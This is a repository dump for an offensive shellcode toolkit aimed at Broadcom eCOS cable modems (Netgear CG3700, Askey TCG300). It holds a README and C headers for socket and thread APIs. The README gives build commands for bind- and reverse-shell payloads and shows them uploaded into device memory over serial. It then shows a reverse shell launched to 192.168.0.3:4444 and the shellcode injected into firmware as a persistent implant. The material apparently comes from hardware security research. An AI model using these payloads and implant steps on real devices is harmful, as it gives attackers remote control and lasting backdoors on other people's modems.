The following shellcodes are implemented: 6 | 7 | - **sample** - launch a thread printing a character string on console every 5 seconds 8 | - **bindshell** - a bind shell function (blocking) 9 | - **bindshell\_thread** - a bind shell function launched within a dedicated thread 10 | - **reverseshell** - a reverse shell function (blocking) 11 | - **reverseshell\_thread** - a reverse shell function launched within a dedicated thread 12 | 13 | ## Toolchain Install 14 | 15 | You need the mipsisa32-elf toolchain to generate shellcode for Broadcom eCOS platform. You can run `install.sh` to download it into the repo. 16 | 17 | 18 | ## Shellcode Generation 19 | 20 | First, you need to extract all function offsets from your target's firmware and place them in the `payload.ld` file. Right now, two targets are defined: 21 | 22 | - **CG3700** - Netgear CG3700 23 | - **TCG300** - Askey TCG300/Siligence TCG300 24 | 25 | Once done, just edit the PLATFORM parameter in `Makefile` so that the linker will take offsets from your file. 26 | 27 | When done, you can generate shellcode with make commands: 28 | 29 | ``` 30 | make clean && make 31 | rm -f *.elf *.bin 32 | gnutools/mipsisa32-elf/bin/mipsisa32-elf-gcc sample.c -o sample.elf -march=mips32 -mabi=eabi -msoft-float -mno-abicalls -fno-builtin -nostdlib -nodefaultlibs -nostartfiles -T CG3700/payload.ld 33 | gnutools/mipsisa32-elf/bin/mipsisa32-elf-objcopy -O binary -j .start -j .text -j .data -j .rodata sample.elf sample.bin 34 | gnutools/mipsisa32-elf/bin/mipsisa32-elf-gcc reverseshell.c -o reverseshell.elf -march=mips32 -mabi=eabi -msoft-float -mno-abicalls -fno-builtin -nostdlib -nodefaultlibs -nostartfiles -T CG3700/payload.ld 35 | gnutools/mipsisa32-elf/bin/mipsisa32-elf-objcopy -O binary -j .start -j .text -j .data -j .rodata reverseshell.elf reverseshell.bin 36 | gnutools/mipsisa32-elf/bin/mipsisa32-elf-gcc reverseshell_thread.c -o reverseshell_thread.elf -march=mips32 -mabi=eabi -msoft-float -mno-abicalls -fno-builtin -nostdlib -nodefaultlibs -nostartfiles -T CG3700/payload.ld 37 | gnutools/mipsisa32-elf/bin/mipsisa32-elf-objcopy -O binary -j .start -j .text -j .data -j .rodata reverseshell_thread.elf reverseshell_thread.bin 38 | gnutools/mipsisa32-elf/bin/mipsisa32-elf-gcc bindshell.c -o bindshell.elf -march=mips32 -mabi=eabi -msoft-float -mno-abicalls -fno-builtin -nostdlib -nodefaultlibs -nostartfiles -T CG3700/payload.ld 39 | gnutools/mipsisa32-elf/bin/mipsisa32-elf-objcopy -O binary -j .start -j .text -j .data -j .rodata bindshell.elf bindshell.bin 40 | gnutools/mipsisa32-elf/bin/mipsisa32-elf-gcc bindshell_thread.c -o bindshell_thread.elf -march=mips32 -mabi=eabi -msoft-float -mno-abicalls -fno-builtin -nostdlib -nodefaultlibs -nostartfiles -T CG3700/payload.ld 41 | gnutools/mipsisa32-elf/bin/mipsisa32-elf-objcopy -O binary -j .start -j .text -j .data -j .rodata bindshell_thread.elf bindshell_thread.bin 42 | ``` 43 | 44 | ## Shellcode Write 45 | 46 | The Broadcom eCOS platform expose `write_memory` and `read_memory` CLI functions that we can call to write our shellcode in RAM. 47 | 48 | You can use the `upload.py` python script to write a given shellcode into a device memory over a serial connection. 49 | 50 | ``` 51 | ./upload.py reverseshell.bin 0x80810000 52 | [+] Writing payload to memory. 53 | [+] Reading payload from memory. 54 | [+] Integrity check passed. 55 | ``` 56 | 57 | Note that these functions can be called from different context (SSH session, telnet session, reverse shell session, ...). The script only supports serial at the moment, pull requests are welcomed though :) 58 | 59 | ## Shellcode Call 60 | 61 | Once written into memory, we can call our shell code by relying on the `call` CLI function. The next subsections explain how to call each shellcode. 62 | 63 | ### bind shell 64 | 65 | The shellcode takes two parameters: 66 | 67 | - ip address to bind to 68 | - tcp port to bind to 69 | 70 | Parameters must be transmitted in hexadecimal notation. 71 | 72 | ``` 73 | CM> call func -r -a 0x80810000 0x00000000 0x115c 74 | Calling function 0x80810000(0x00000000, 0x115c) 75 | [+] Launching bind shell on 0.0.0.0:4444 76 | ``` 77 | 78 | ### reverse shell 79 | 80 | The shellcode takes two parameters: 81 | 82 | - ip address to connect to 83 | - tcp port to connect to 84 | 85 | Parameters must be transmitted in hexadecimal notation. 86 | 87 | ``` 88 | CM> call func -r -a 0x80810000 0xc0a80003 0x115c 89 | Calling function 0x80810000(0xc0a80003, 0x115c) 90 | [+] Launching reverse shell to 192.168.0.3:4444 91 | ``` 92 | 93 | ## eCOS Threading 94 | 95 | Reverse and bind shells supports threading but it's not that interesting on Broadcom platform because the console I/O cannot be shared by multiple threads (no virtual tty like Linux). 96 | 97 | This means that once you launch the (reverse/bind) shell thread, you lose access to the console if you were already connected to it via UART/Telnet/SSH. Note that once you quit the thread (e.g. by closing the reverse shell connection), the code takes care of re-assigning console I/O to the legit descriptor. 98 | 99 | Threading is still super relevant for specific functions that don't need console I/O and that you can leave running in the background (network scanning, implant writing to backdoor bootloader/firmware, gdb server, ...). 100 | 101 | ## Firmware Implants (Persistence) 102 | 103 | The `inject.py` script can be used to inject custom shellcode in an unpacked firmware file by overwriting a given section. 104 | 105 | ``` 106 | ./inject.py firmware.bin ~/git/ecoshell/bindshell_thread.bin 0x805f4434 0x805f4b28 107 | Available space: 1780 bytes 108 | Overwriting firmware file with shellcode. 109 | ``` 110 | 111 | More details on persistence with firmware implants can be found in [Broadcom eCos | Gaining Persistence with Firmware Implants](https://ecos.wtf/2021/03/15/ecos-persistence-firmware) 112 | 113 | ## Credits 114 | 115 | - Makefile and linker file inspired from [https://github.com/stdw/cm-sdr](https://github.com/stdw/cm-sdr) 116 | - eCOS console command handler inspiration from early work on CableHaunt by [Lyrebirds](https://github.com/Lyrebirds/technicolor-tc7230-exploit/blob/master/reverseshell.c) 117 | -------------------------------------------------------------------------------- /external.h: -------------------------------------------------------------------------------- 1 | #ifndef _EXTERNAL_H 2 | #define _EXTERNAL_H 3 | 4 | #include "includes/cyg_type.h" 5 | 6 | #define SOCK_STREAM 1 /* stream (connection) socket */ 7 | #define SOCK_DGRAM 2 /* datagram (conn.less) socket */ 8 | #define SOCK_RAW 3 /* raw socket */ 9 | 10 | #define AF_INET 0x2 /* Internet IP Protocol */ 11 | #define AF_INET6 0x1c /* IP version 6 */ 12 | 13 | #define SOL_SOCKET 0xffff /* options for socket level */ 14 | 15 | /* 16 | * Option flags per-socket. 17 | */ 18 | #define SO_DEBUG 0x0001 /* turn on debugging info recording */ 19 | #define SO_ACCEPTCONN 0x0002 /* socket has had listen() */ 20 | #define SO_REUSEADDR 0x0004 /* allow local address reuse */ 21 | #define SO_KEEPALIVE 0x0008 /* keep connections alive */ 22 | #define SO_DONTROUTE 0x0010 /* just use interface addresses */ 23 | #define SO_BROADCAST 0x0020 /* permit sending of broadcast msgs */ 24 | #define SO_USELOOPBACK 0x0040 /* bypass hardware when possible */ 25 | #define SO_LINGER 0x0080 /* linger on close if data present */ 26 | #define SO_OOBINLINE 0x0100 /* leave received OOB data in line */ 27 | #define SO_REUSEPORT 0x0200 /* allow local address & port reuse */ 28 | 29 | 30 | struct cyg_thread { 31 | int sched_info; 32 | int entry; 33 | int entry_data; 34 | char* name; 35 | int stack_base; 36 | int stack_size; 37 | }; 38 | typedef struct cyg_thread cyg_thread; 39 | 40 | struct sockaddr 41 | { 42 | unsigned short sa_family; /* address family, AF_xxx */ 43 | char sa_data[14]; /* 14 bytes of protocol address */ 44 | }; 45 | 46 | 47 | typedef struct sock_addr_s { 48 | unsigned int _pad1; 49 | unsigned int port; 50 | unsigned int addr; 51 | unsigned int _pad4; 52 | unsigned int _pad5; 53 | unsigned int _pad6; 54 | unsigned int _pad7; 55 | unsigned int _pad8; 56 | } sock_addr_t; 57 | 58 | // Socket/connection information 59 | 60 | typedef char int8_t; 61 | typedef unsigned char u_int8_t; 62 | typedef unsigned char uint8_t; 63 | typedef short int16_t; 64 | typedef unsigned short u_int16_t; 65 | typedef unsigned short uint16_t; 66 | typedef int int32_t; 67 | typedef unsigned int u_int32_t; 68 | typedef unsigned int uint32_t; 69 | typedef long long int64_t; 70 | typedef unsigned long long u_int64_t; 71 | typedef unsigned long long uint64_t; 72 | 73 | typedef u_int8_t sa_family_t; 74 | typedef u_int16_t in_port_t; 75 | 76 | //LINUX 77 | 78 | /**struct in_addr { 79 | in_addr_t s_addr; 80 | };*/ 81 | 82 | /** LINUX 83 | * struct sockaddr_in { 84 | short sin_family; // e.g. AF_INET 85 | unsigned short sin_port; // e.g. htons(3490) 86 | struct in_addr sin_addr; // see struct in_addr, below 87 | char sin_zero[8]; // zero this if you want to 88 | };*/ 89 | 90 | typedef struct in_addr { 91 | unsigned long s_addr; // IPv4 address 92 | } in_addr_t; 93 | 94 | struct sockaddr_in { 95 | short sin_family; 96 | unsigned short sin_port; 97 | struct in_addr sin_addr; 98 | char sin_zero[8]; 99 | }; 100 | 101 | /* stdlib functions */ 102 | 103 | void* memset(void* buf, int c, unsigned int n); 104 | void* memcpy(void* dst, const void* src, int n); 105 | void* malloc(unsigned int size); 106 | int printf(char* str, ...); 107 | void bzero(void *s, int n); 108 | 109 | /* network functions */ 110 | 111 | int socket(int domain, int type, int protocol); 112 | 113 | /* 114 | * Create a new socket with IP protocol ip_proto on IP stack number ip_stack 115 | * _a and _b are unknown, use 1 and 6 respectively for IPv4 TCP. 116 | * Use 2 and 0x11 for UDP. 117 | * Returns NULL on failure and pointer to socket handle on success. 118 | */ 119 | //void* socket(int ip_proto, int _a, int _b, int ip_stack); 120 | //int socket(int domain, int type, int protocol); 121 | 122 | //int setsockopt(int sockfd, int level, int optname, const void *optval, int optlen); 123 | 124 | /* 125 | * Close the give socket. 126 | */ 127 | void close(int handle); 128 | 129 | 130 | /* 131 | * Bind the valid socket handle to the given address and port. 132 | * Returns 0 on success. 133 | */ 134 | int bind(int sockfd, const struct sockaddr_in *addr, int addrlen); 135 | 136 | 137 | int connect(int sockfd, const struct sockaddr_in *addr, int addrlen); 138 | //int connect(void* handle, void* addr, int addrlen); 139 | /* 140 | * Listen for a TCP connection on the bound socket. 141 | * Arg _a is unknown, probably backlog like posix listen(). Use 1. 142 | * Returns 0 on success. 143 | */ 144 | int listen(int sockfd, int backlog); 145 | //int listen(void* handle, int _a); 146 | 147 | /* 148 | * Accept a connection on a listening socket. 149 | * Args _a and _b are unknown, use 0 and 0 respectively. 150 | * Returns a pointer to a new socket handle on success or NULL on failure. 151 | */ 152 | int accept(int sockfd, struct sockaddr *addr, int *addrlen); 153 | 154 | 155 | /* 156 | * Send len bytes of data at the buffer buf on the connection handle. 157 | * Arg _a is unknown, use 0. 158 | * Returns the number of bytes send on success. 159 | */ 160 | int send(void* handle, char* buf, int len, int _a); 161 | 162 | /* 163 | * Read up to len bytes of data from the connection handle into buffer buf. 164 | * Arg _a is unknown, use 0. 165 | * Returns the number of bytes read on success. 166 | */ 167 | int recv(int sockfd, void *buf, int len, int flags); 168 | 169 | /* 170 | * For UDP sockets 171 | */ 172 | int recvfrom(void* handle, char* buf, int len, int flags, int* addr, int* addrlen); 173 | int sendto(void* handle, char* buf, int len, int flags, int* addr, int addrlen); 174 | 175 | 176 | /* 177 | * Sleep for t milliseconds. 178 | */ 179 | void sleep(unsigned int t); 180 | 181 | int* cyg_fp_get(int fd); 182 | void cyg_fp_free(void *fp); 183 | void cyg_fd_free(int fd); 184 | int cyg_fd_assign(int fd, void *fp); 185 | 186 | unsigned int inet_addr(char *param_1); 187 | 188 | void* BcmConsoleGetSingletonInstance(void); 189 | int BcmConsoleExecuteCurrentCommand(void* console); 190 | 191 | 192 | typedef struct 193 | { 194 | cyg_handle_t handle; 195 | cyg_uint16 id; 196 | cyg_uint32 state; 197 | char *name; 198 | cyg_priority_t set_pri; 199 | cyg_priority_t cur_pri; 200 | cyg_addrword_t stack_base; 201 | cyg_uint32 stack_size; 202 | cyg_uint32 stack_used; 203 | } cyg_thread_info; 204 | 205 | void cyg_thread_create(int sched_info, void *entry, void* entry_data, char *name, void *stack_base, unsigned int stack_size, int *handle, cyg_thread *thread); 206 | 207 | void cyg_thread_resume(int thread); 208 | 209 | void cyg_thread_exit(void); 210 | 211 | cyg_bool_t cyg_thread_get_next(cyg_handle_t *current, cyg_uint16 *id); 212 | 213 | cyg_handle_t cyg_thread_find(cyg_uint16 id); 214 | 215 | cyg_bool_t cyg_thread_get_info(cyg_handle_t threadh, cyg_uint16 id, cyg_thread_info *info); 216 | 217 | void free(void *ptr); 218 | 219 | 220 | int getsockname(int s, struct sockaddr *name, int *namelen); 221 | 222 | // Internet protocols 223 | struct protoent { 224 | char *p_name; 225 | int p_proto; 226 | }; 227 | 228 | struct protoent *getprotobyname(const char *); 229 | struct protoent *getprotobynumber(const int); 230 | 231 | 232 | struct servent { 233 | char *s_name; /* official service name */ 234 | char **s_aliases; /* alias list */ 235 | int s_port; /* port number */ 236 | char *s_proto; /* protocol to use */ 237 | }; 238 | 239 | struct servent *getservbyname(const char *name, const char *proto); 240 | struct servent *getservbyport(int port, const char *proto); 241 | 242 | 243 | int* cyg_error_get_errno_p(void); 244 | 245 | 246 | int strlen(const char *s); 247 | 248 | int write(int fd, const void *buf, int count); 249 | 250 | char *inet_ntoa(struct in_addr in); 251 | 252 | char *strcpy(char *dest, const char *src); 253 | 254 | char *strncpy(char *dest, const char *src, int n); 255 | 256 | int strncmp(const char *s1, const char *s2, int n); 257 | 258 | int getpeername(int sockfd, struct sockaddr *addr, int *addrlen); 259 | 260 | 261 | int inet_ntop4(void* src,char* dst, int size); 262 | 263 | char * strerror( int error_code ); 264 | 265 | #define errno (*cyg_error_get_errno_p()) 266 | #endif /* _EXTERNAL_H */ 267 | -------------------------------------------------------------------------------- /includes/cyg_type.h: -------------------------------------------------------------------------------- 1 | #ifndef CYGONCE_INFRA_CYG_TYPE_H 2 | #define CYGONCE_INFRA_CYG_TYPE_H 3 | 4 | //========================================================================== 5 | // 6 | // cyg_type.h 7 | // 8 | // Standard types, and some useful coding macros. 9 | // 10 | //========================================================================== 11 | //####COPYRIGHTBEGIN#### 12 | // 13 | // ---------------------------------------------------------------------------- 14 | // Copyright (C) 1997, 1998, 1999, 2000 Red Hat, Inc. 15 | // 16 | // This file is part of the eCos host tools. 17 | // 18 | // This program is free software; you can redistribute it and/or modify it 19 | // under the terms of the GNU General Public License as published by the Free 20 | // Software Foundation; either version 2 of the License, or (at your option) 21 | // any later version. 22 | // 23 | // This program is distributed in the hope that it will be useful, but WITHOUT 24 | // ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or 25 | // FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for 26 | // more details. 27 | // 28 | // You should have received a copy of the GNU General Public License along with 29 | // this program; if not, write to the Free Software Foundation, Inc., 30 | // 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 31 | // 32 | // ---------------------------------------------------------------------------- 33 | // 34 | //####COPYRIGHTEND#### 35 | //========================================================================== 36 | //#####DESCRIPTIONBEGIN#### 37 | // 38 | // Author(s): nickg from an original by hmt 39 | // Contributors: nickg 40 | // Date: 1997-09-08 41 | // Purpose: share unambiguously sized types. 42 | // Description: we typedef [cyg_][u]int8,16,32 &c for general use. 43 | // Usage: #include "cyg/infra/cyg_type.h" 44 | // ... 45 | // cyg_int32 my_32bit_integer; 46 | // 47 | //####DESCRIPTIONEND#### 48 | // 49 | 50 | // ------------------------------------------------------------------------- 51 | // Some useful macros. These are defined here by default. 52 | 53 | // externC is used in mixed C/C++ headers to force C linkage on an external 54 | // definition. It avoids having to put all sorts of ifdefs in. 55 | 56 | #ifdef __cplusplus 57 | # define externC extern "C" 58 | #else 59 | # define externC extern 60 | #endif 61 | 62 | 63 | // ------------------------------------------------------------------------- 64 | // The header defines the base types used here. It is 65 | // supplied either by the target architecture HAL, or by the host 66 | // porting kit. They are all defined as macros, and only those that 67 | // make choices other than the defaults given below need be defined. 68 | 69 | #define CYG_LSBFIRST 1234 70 | #define CYG_MSBFIRST 4321 71 | 72 | #include "basetype.h" 73 | 74 | #if (CYG_BYTEORDER != CYG_LSBFIRST) && (CYG_BYTEORDER != CYG_MSBFIRST) 75 | # error You must define CYG_BYTEORDER to equal CYG_LSBFIRST or CYG_MSBFIRST 76 | #endif 77 | 78 | #ifndef CYG_DOUBLE_BYTEORDER 79 | #define CYG_DOUBLE_BYTEORDER CYG_BYTEORDER 80 | #endif 81 | 82 | #ifndef cyg_halint8 83 | # define cyg_halint8 char 84 | #endif 85 | #ifndef cyg_halint16 86 | # define cyg_halint16 short 87 | #endif 88 | #ifndef cyg_halint32 89 | # define cyg_halint32 int 90 | #endif 91 | #ifndef cyg_halint64 92 | # define cyg_halint64 long long 93 | #endif 94 | 95 | #ifndef cyg_halcount8 96 | # define cyg_halcount8 int 97 | #endif 98 | #ifndef cyg_halcount16 99 | # define cyg_halcount16 int 100 | #endif 101 | #ifndef cyg_halcount32 102 | # define cyg_halcount32 int 103 | #endif 104 | #ifndef cyg_halcount64 105 | # define cyg_halcount64 long long 106 | #endif 107 | 108 | #ifndef cyg_haladdress 109 | # define cyg_haladdress cyg_uint32 110 | #endif 111 | #ifndef cyg_haladdrword 112 | # define cyg_haladdrword cyg_uint32 113 | #endif 114 | 115 | #ifndef cyg_halbool 116 | # ifdef __cplusplus 117 | # define cyg_halbool bool 118 | # else 119 | # define cyg_halbool int 120 | # endif 121 | #endif 122 | 123 | #ifndef cyg_halatomic 124 | # define cyg_halatomic cyg_halint8 125 | #endif 126 | 127 | // ------------------------------------------------------------------------- 128 | // The obvious few that compilers may define for you. 129 | // But in case they don't: 130 | 131 | #ifndef NULL 132 | # define NULL 0 133 | #endif 134 | 135 | #ifndef __cplusplus 136 | 137 | typedef cyg_halbool bool; 138 | 139 | # ifndef false 140 | # define false 0 141 | # endif 142 | 143 | # ifndef true 144 | # define true (!false) 145 | # endif 146 | 147 | #endif 148 | 149 | // ------------------------------------------------------------------------- 150 | // Allow creation of procedure-like macros that are a single statement, 151 | // and must be followed by a semi-colon 152 | 153 | #define CYG_MACRO_START do { 154 | #define CYG_MACRO_END } while (0) 155 | 156 | #define CYG_EMPTY_STATEMENT CYG_MACRO_START CYG_MACRO_END 157 | 158 | #define CYG_UNUSED_PARAM( _type_, _name_ ) CYG_MACRO_START \ 159 | _type_ __tmp1 = (_name_); \ 160 | _type_ __tmp2 = __tmp1; \ 161 | __tmp1 = __tmp2; \ 162 | CYG_MACRO_END 163 | 164 | 165 | // ------------------------------------------------------------------------- 166 | // Reference a symbol without explicitly making use of it. Ensures that 167 | // the object containing the symbol will be included when linking. 168 | 169 | #define CYG_REFERENCE_OBJECT(__object__) \ 170 | CYG_MACRO_START \ 171 | static void *__cygvar_discard_me__ __attribute__ ((unused)) = \ 172 | &(__object__); \ 173 | CYG_MACRO_END 174 | 175 | // ------------------------------------------------------------------------- 176 | // Define basic types for using integers in memory and structures; 177 | // depends on compiler defaults and CPU type. 178 | 179 | typedef unsigned cyg_halint8 cyg_uint8 ; 180 | typedef signed cyg_halint8 cyg_int8 ; 181 | 182 | typedef unsigned cyg_halint16 cyg_uint16 ; 183 | typedef signed cyg_halint16 cyg_int16 ; 184 | 185 | typedef unsigned cyg_halint32 cyg_uint32 ; 186 | typedef signed cyg_halint32 cyg_int32 ; 187 | 188 | typedef unsigned cyg_halint64 cyg_uint64 ; 189 | typedef signed cyg_halint64 cyg_int64 ; 190 | 191 | typedef cyg_halbool cyg_bool ; 192 | 193 | // ------------------------------------------------------------------------- 194 | // Define types for using integers in registers for looping and the like; 195 | // depends on CPU type, choose what it is most comfortable with, with at 196 | // least the range required. 197 | 198 | typedef unsigned cyg_halcount8 cyg_ucount8 ; 199 | typedef signed cyg_halcount8 cyg_count8 ; 200 | 201 | typedef unsigned cyg_halcount16 cyg_ucount16 ; 202 | typedef signed cyg_halcount16 cyg_count16 ; 203 | 204 | typedef unsigned cyg_halcount32 cyg_ucount32 ; 205 | typedef signed cyg_halcount32 cyg_count32 ; 206 | 207 | typedef unsigned cyg_halcount64 cyg_ucount64 ; 208 | typedef signed cyg_halcount64 cyg_count64 ; 209 | 210 | // ------------------------------------------------------------------------- 211 | // Define a type to be used for atomic accesses. This type is guaranteed 212 | // to be read or written in a single uninterruptible operation. This type 213 | // is at least a single byte. 214 | 215 | typedef volatile unsigned cyg_halatomic cyg_atomic; 216 | typedef volatile unsigned cyg_halatomic CYG_ATOMIC; 217 | 218 | // ------------------------------------------------------------------------- 219 | // Define types for access plain, on-the-metal memory or devices. 220 | 221 | typedef cyg_uint32 CYG_WORD; 222 | typedef cyg_uint8 CYG_BYTE; 223 | typedef cyg_uint16 CYG_WORD16; 224 | typedef cyg_uint32 CYG_WORD32; 225 | typedef cyg_uint64 CYG_WORD64; 226 | 227 | typedef cyg_haladdress CYG_ADDRESS; 228 | typedef cyg_haladdrword CYG_ADDRWORD; 229 | 230 | 231 | //----------------------------------------------- 232 | //CUSTOM KAPI 233 | 234 | typedef CYG_ADDRWORD cyg_addrword_t; /* May hold pointer or word */ 235 | typedef cyg_addrword_t cyg_handle_t; /* Object handle */ 236 | typedef cyg_uint32 cyg_priority_t; /* type for priorities */ 237 | typedef cyg_int32 cyg_code_t; /* type for various codes */ 238 | typedef cyg_uint32 cyg_vector_t; /* Interrupt vector id */ 239 | typedef cyg_uint32 cyg_cpu_t; /* CPU id type */ 240 | 241 | typedef cyg_uint64 cyg_tick_count_t; 242 | 243 | typedef int cyg_bool_t; 244 | 245 | 246 | // ------------------------------------------------------------------------- 247 | // Constructor ordering macros. These are added as annotations to all 248 | // static objects to order the constuctors appropriately. 249 | 250 | #if defined(__cplusplus) && defined(__GNUC__) 251 | # define CYGBLD_ATTRIB_INIT_PRI( _pri_ ) __attribute__((init_priority(_pri_))) 252 | #else 253 | // FIXME: should maybe just bomb out if this is attempted anywhere else? 254 | // Not sure 255 | # define CYGBLD_ATTRIB_INIT_PRI( _pri_ ) 256 | #endif 257 | 258 | // The following will be removed eventually as it doesn't allow the use of 259 | // e.g. pri+5 format 260 | #define CYG_INIT_PRIORITY( _pri_ ) CYGBLD_ATTRIB_INIT_PRI( CYG_INIT_##_pri_ ) 261 | 262 | #define CYGBLD_ATTRIB_INIT_BEFORE( _pri_ ) CYGBLD_ATTRIB_INIT_PRI(_pri_-100) 263 | #define CYGBLD_ATTRIB_INIT_AFTER( _pri_ ) CYGBLD_ATTRIB_INIT_PRI(_pri_+100) 264 | 265 | #define CYG_INIT_HAL 10000 266 | #define CYG_INIT_SCHEDULER 11000 267 | #define CYG_INIT_INTERRUPTS 12000 268 | #define CYG_INIT_DRIVERS 13000 269 | #define CYG_INIT_CLOCK 14000 270 | #define CYG_INIT_IDLE_THREAD 15000 271 | #define CYG_INIT_THREADS 16000 272 | #define CYG_INIT_KERNEL 40000 273 | #define CYG_INIT_IO 49000 274 | #define CYG_INIT_LIBC 50000 275 | #define CYG_INIT_COMPAT 55000 276 | #define CYG_INIT_APPLICATION 60000 277 | #define CYG_INIT_PREDEFAULT 65534 278 | #define CYG_INIT_DEFAULT 65535 279 | 280 | // ------------------------------------------------------------------------- 281 | // COMPILER-SPECIFIC STUFF 282 | 283 | #ifdef __GNUC__ 284 | // Force a 'C' routine to be called like a 'C++' contructor 285 | # define CYGBLD_ATTRIB_CONSTRUCTOR __attribute__((constructor)) 286 | 287 | // Define a compiler-specific rune for saying a function doesn't return 288 | # define CYGBLD_ATTRIB_NORET __attribute__((noreturn)) 289 | 290 | // How to define weak symbols - this is only relevant for ELF and a.out, 291 | // but that won't be a problem for eCos 292 | # define CYGBLD_ATTRIB_WEAK __attribute__ ((weak)) 293 | 294 | // How to define alias to symbols. Just pass in the symbol itself, not 295 | // the string name of the symbol 296 | # define CYGBLD_ATTRIB_ALIAS(__symbol__) \ 297 | __attribute__ ((alias (#__symbol__))) 298 | 299 | // This effectively does the reverse of the previous macro. It defines 300 | // a name that the attributed variable or function will actually have 301 | // in assembler. 302 | # define CYGBLD_ATTRIB_ASM_ALIAS(__symbol__) \ 303 | __asm__ ( #__symbol__ ) 304 | 305 | // Shows that a function returns the same value when given the same args, but 306 | // note this can't be used if there are pointer args 307 | # define CYGBLD_ATTRIB_CONST __attribute__((const)) 308 | 309 | #else // non-GNU 310 | 311 | # define CYGBLD_ATTRIB_CONSTRUCTOR 312 | 313 | # define CYGBLD_ATTRIB_NORET 314 | // This intentionally gives an error only if we actually try to 315 | // use it. #error would give an error if we simple can't. 316 | # define CYGBLD_ATTRIB_WEAK !!!-- Attribute weak not defined --!!! 317 | 318 | # define CYGBLD_ATTRIB_ALIAS(__x__) !!!-- Attribute alias not defined --!!! 319 | 320 | # define CYGBLD_ATTRIB_ASM_ALIAS(__symbol__) !!!-- Asm alias not defined --!!! 321 | 322 | # define CYGBLD_ATTRIB_CONST 323 | 324 | #endif 325 | 326 | // How to define weak aliases. Currently this is simply a mixture of the 327 | // above 328 | 329 | # define CYGBLD_ATTRIB_WEAK_ALIAS(__symbol__) \ 330 | CYGBLD_ATTRIB_WEAK CYGBLD_ATTRIB_ALIAS(__symbol__) 331 | 332 | // ------------------------------------------------------------------------- 333 | // Label name macro. Some toolsets generate labels with initial 334 | // underscores and others don't. This macro should be used on labels 335 | // that are defined in assembly code or linker scripts so that we can 336 | // do the right thing. 337 | 338 | #ifndef CYG_LABEL_NAME 339 | 340 | #define CYG_LABEL_NAME(_name_) _name_ 341 | 342 | #endif 343 | 344 | // ------------------------------------------------------------------------- 345 | // Various "flavours" of memory regions that can be described by the 346 | // Memory Layout Tool (MLT). 347 | 348 | #define CYGMEM_REGION_ATTR_R 0x01 // Region can be read 349 | #define CYGMEM_REGION_ATTR_W 0x02 // Region can be written 350 | 351 | // ------------------------------------------------------------------------- 352 | #endif // CYGONCE_INFRA_CYG_TYPE_H multiple inclusion protection 353 | // EOF cyg_type.h 354 | --------------------------------------------------------------------------------